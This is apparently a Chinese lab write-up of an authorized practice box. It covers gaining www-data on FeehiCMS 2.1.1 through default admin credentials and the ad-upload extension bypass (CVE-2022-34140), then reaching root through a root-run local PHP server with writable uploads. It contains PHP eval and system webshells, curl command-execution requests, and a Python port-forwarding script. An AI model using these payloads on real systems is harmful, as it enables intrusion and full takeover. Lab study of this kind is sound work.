群友靶机 CMS 复盘 的文章封面
返回文章列表
Neuroblue writing

群友靶机 CMS 复盘

FeehiCMS 2.1.1 广告上传拿 www-data,再顺着本机 root 跑的 php -S 8080 提到 root。

授权靶场。FeehiCMS 2.1.1 默认口令进后台,广告位改后缀拿 www-data;提权不在 SUID,而在本机另一套以 root 跑的 php -S 127.0.0.1:8080

  • 目标:192.168.43.119
  • 虚拟主机:cms.dsz(访问 80 前写入 hosts)
  • 栈:Feehi CMS 2.1.1 + Yii2 + nginx/1.26.3 + PHP 8.4 FPM + sqlite
  • 入口:后台默认口令 + 广告上传 RCE(CVE-2022-34140)
  • 提权:本机 root 再跑一套 php -S 127.0.0.1:8080,uploads 世界可写
192.168.43.119  cms.dsz

信息收集

端口

└─# nmap -p- -T4 192.168.43.119
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-16 23:11 +0800
Nmap scan report for 192.168.43.119
Host is up (0.0045s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

只开 22 / 80。直接打 IP 会按 Host 走默认站点,hosts 写上再访问:

echo '192.168.43.119 cms.dsz' >> /etc/hosts
curl -s http://cms.dsz/

首页

疑似 CMS。页脚写死了框架名:

Feehi CMS 版权所有,保留一切权利 © 2015-2026
简体中文
粤ICP备15018643号 Powered by Feehi CMS 飞嗨

页脚 Feehi CMS

后台入口和版本(登录后系统信息页,或看页脚 / 源码注释):

http://cms.dsz/admin/
  • Feehi CMS: 2.1.1
  • Web Server: Linux nginx/1.26.3
  • 数据库信息: sqlite 3.46.1
  • 文件上传限制: 2M
  • 脚本超时限制: 30s
  • PHP执行方式: fpm-fcgi

公开漏洞:FeehiCMS 2.1.1 广告位上传不校验真实后缀(CVE-2022-34140 / EDB-51018)。Composer 默认超管是 admin / 123456

┌──(root㉿NeuroLap)-[/mnt/c/Users/asus]
└─# searchsploit feehi
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                        |  Path
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Feehi CMS 2.1.1 - Remote Code Execution (Authenticated)                                                                                                                               | php/webapps/51018.txt
Feehi CMS 2.1.1 - Stored Cross-Site Scripting (XSS)                                                                                                                                   | php/webapps/51002.txt
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

初始访问:广告上传拿 www-data

登录

默认口令:

admin
123456

上传一句话

  1. 运营管理 → 广告 → 新建 / 编辑
  2. 图片先选 .png / .jpg
  3. Yakit 拦截,filename 改成 .php,内容改成:
<?php @eval($_POST[1]);?>
  1. 放行。回包 / 广告列表里能看到落地路径(查看源代码):
/uploads/setting/ad/20260916235346_6aaabb8a2723e.php
curl -X POST 'http://cms.dsz/uploads/setting/ad/20260916235346_6aaabb8a2723e.php' \
  --data-urlencode "1=system('id');"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

当前权限和 PHP 限制

id
whoami
pwd
php -r 'echo "uid=".posix_getuid()." euid=".posix_geteuid().PHP_EOL; echo "df=".ini_get("disable_functions").PHP_EOL; echo "ob=".ini_get("open_basedir").PHP_EOL;'
uname -a
cat /etc/os-release
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/opt/cms/frontend/web/uploads/setting/ad
df=          # disable_functions 空
ob=          # open_basedir 空
Linux Cms 7.1.6-3-liquorix-amd64 ... Debian GNU/Linux 13 (trixie)

也可以 eval($_POST[1]) 直接 phpinfo();,看 System / disable_functions / DOCUMENT_ROOT。

物理路径对应 webroot:

/opt/cms/frontend/web

user flag

先看家目录和 passwd,确认有 simple 用户:

cat /etc/passwd
ls -la /home
ls -la /home/simple
ls -la /root          # Permission denied,还没提权
cat /home/simple/user.txt
simple:x:1000:1000::/home/simple:/bin/bash
/home/simple/user.txt

flag{user-84d6e7fb1c982b91fffc3e28090fa732}

提权枚举

常规 Linux 面先扫一遍,排除 sudo / SUID / cap / cron 之后,真正有用的是 进程 + 监听 + /opt。

sudo / SUID / capabilities / cron:没东西

sudo -l
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly
cat /etc/crontab
systemctl list-timers --all
sudo: a terminal is required to read the password; a password is required

/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/mount
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/su
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/chfn

# getcap 空
# cron 只有发行版默认 php sessionclean / apt / logrotate

SUID 全是发行版默认,无 cap,www-data 无 sudo。

发现 root 在跑本地 Web

看进程和监听:

ps aux
ss -lntp

ps 里多出来这一行(User 列是 root):

root  398  /usr/bin/php -S 127.0.0.1:8080 -t /opt/feehicms/frontend/web /opt/feehicms/frontend/web/router.php

ss 对得上:8080 只绑回环,外网 nmap 看不见:

LISTEN  0  4096  127.0.0.1:8080  0.0.0.0:*
LISTEN  0   511    0.0.0.0:80    0.0.0.0:*   users:(("nginx",pid=434,fd=7))
LISTEN  0   128    0.0.0.0:22    0.0.0.0:*

顺手看是谁拉起的:

ls /etc/systemd/system/*.service
systemctl list-units --type=service --state=running
cat /etc/systemd/system/feehicms.service
UNIT            LOAD   ACTIVE SUB     DESCRIPTION
feehicms.service loaded active running FeehiCMS Web Service
nginx.service    loaded active running ...
php8.4-fpm.service loaded active running ...
[Service]
Type=simple
User=root
WorkingDirectory=/opt/feehicms/frontend/web
ExecStart=/usr/bin/php -S 127.0.0.1:8080 -t /opt/feehicms/frontend/web /opt/feehicms/frontend/web/router.php
Restart=always

结论:对外 80 是 nginx+FPM(www-data),本机 8080 是 PHP 内置服务器且 以 root 跑

怎么发现有两套 CMS

ls -la /
ls -la /opt
ls -la /opt/cms
ls -la /opt/feehicms
drwxr-xr-x  4 root     root      /opt
drwxr-xr-x 12 www-data www-data  /opt/cms
drwxr-xr-x 12 root     root      /opt/feehicms

nginx 配置确认 80 打的是哪套:

ls /etc/nginx/sites-enabled
cat /etc/nginx/sites-enabled/cms
server {
    listen 80 default_server;
    server_name cms.dsz Cms localhost _;
    root /opt/cms/frontend/web;
    location ~ \.php$ {
        fastcgi_pass unix:/run/php/php8.4-fpm.sock;
        ...
    }
}
路径owner对外
/opt/cmswww-datanginx :80 + FPM,刚拿的壳
/opt/feehicmsroot127.0.0.1:8080

本机打一下 8080,确认活着、而且开了 Yii debug:

curl -sI http://127.0.0.1:8080/
curl -sI http://127.0.0.1:8080/admin/
HTTP/1.1 200 OK
X-Powered-By: PHP/8.4.24
X-Debug-Link: /index.php?r=debug%2Fdefault%2Fview&tag=...

提权 A:直接写文件(最快)

因为是同一套 CMS,直接蚁剑向对应上传位置写木马,反弹执行即可。

写文件只走 loopback,不依赖对外高端口:

printf '%s\n' '<?php echo file_get_contents("/root/root.txt"); system($_GET["c"]); ?>' \
  > /opt/feehicms/frontend/web/uploads/pwn.php
ls -la /opt/feehicms/frontend/web/uploads/pwn.php
curl -s 'http://127.0.0.1:8080/uploads/pwn.php?c=id'
-rw-r--r-- 1 www-data www-data  ... /opt/feehicms/frontend/web/uploads/pwn.php
flag{root-85597f493b890767b4ed6ce5cbdbac18}
uid=0(root) gid=0(root) groups=0(root)
rm -f /opt/feehicms/frontend/web/uploads/pwn.php

提权 B:转发 8080

人工走后台上传,再拿一条 root 壳。

setsid python3 /tmp/pxy18080.py </dev/null >/tmp/pxy18080.log 2>&1 &
ss -lntp | grep 18080
LISTEN  0  64  0.0.0.0:18080  0.0.0.0:*  users:(("python3",pid=...,fd=3))

攻击机验证:

curl -sI http://cms.dsz:18080/admin/
curl -sI http://cms.dsz:18080/admin/index.php?r=site/captcha

上传会生成新文件名。对比两套目录:

ls -la /opt/cms/frontend/web/uploads/setting/ad/
ls -la /opt/feehicms/frontend/web/uploads/setting/ad/
# :80 /opt/cms
20260916235346_6aaabb8a2723e.php

# :8080 /opt/feehicms
20260917160100_6aab9e3c3be4d.php

蚁剑连,密码 1

停代理:

pkill -f pxy18080.py

转发脚本:

# /tmp/pxy18080.py  0.0.0.0:18080 -> 127.0.0.1:8080
import socket, threading
LISTEN, TARGET = ("0.0.0.0", 18080), ("127.0.0.1", 8080)

def fwd(src, dst):
    try:
        while True:
            data = src.recv(65536)
            if not data: break
            dst.sendall(data)
    except Exception:
        pass
    finally:
        try: dst.shutdown(socket.SHUT_WR)
        except Exception: pass

def handle(c):
    r = socket.create_connection(TARGET, timeout=10)
    threading.Thread(target=fwd, args=(c, r), daemon=True).start()
    fwd(r, c)

s = socket.socket(); s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(LISTEN); s.listen(64)
while True:
    c, _ = s.accept()
    threading.Thread(target=handle, args=(c,), daemon=True).start()

nmap -p- → 22,80
hosts cms.dsz → Feehi CMS 2.1.1
searchsploit feehi → CVE-2022-34140
http://cms.dsz/admin  admin/123456
广告上传改后缀 .php(Yakit)
curl POST eval → id                   www-data
cat /home/simple/user.txt

webshell:
  sudo -l / find SUID / getcap / cron   → 常规面没有
  ps aux + ss -lntp                     → root php -S 127.0.0.1:8080
  cat feehicms.service + ls /opt        → /opt/feehicms vs /opt/cms
  ls uploads + cat router.php           → 777 + 已存在文件当 PHP 执行

A. 蚁剑写 /opt/feehicms/.../uploads/*.php
   curl 127.0.0.1:8080/uploads/...
B. python 转发 18080 → 浏览器验证码 → 再传广告
   cms.dsz:18080/uploads/setting/ad/<新文件名>.php

cat /root/root.txt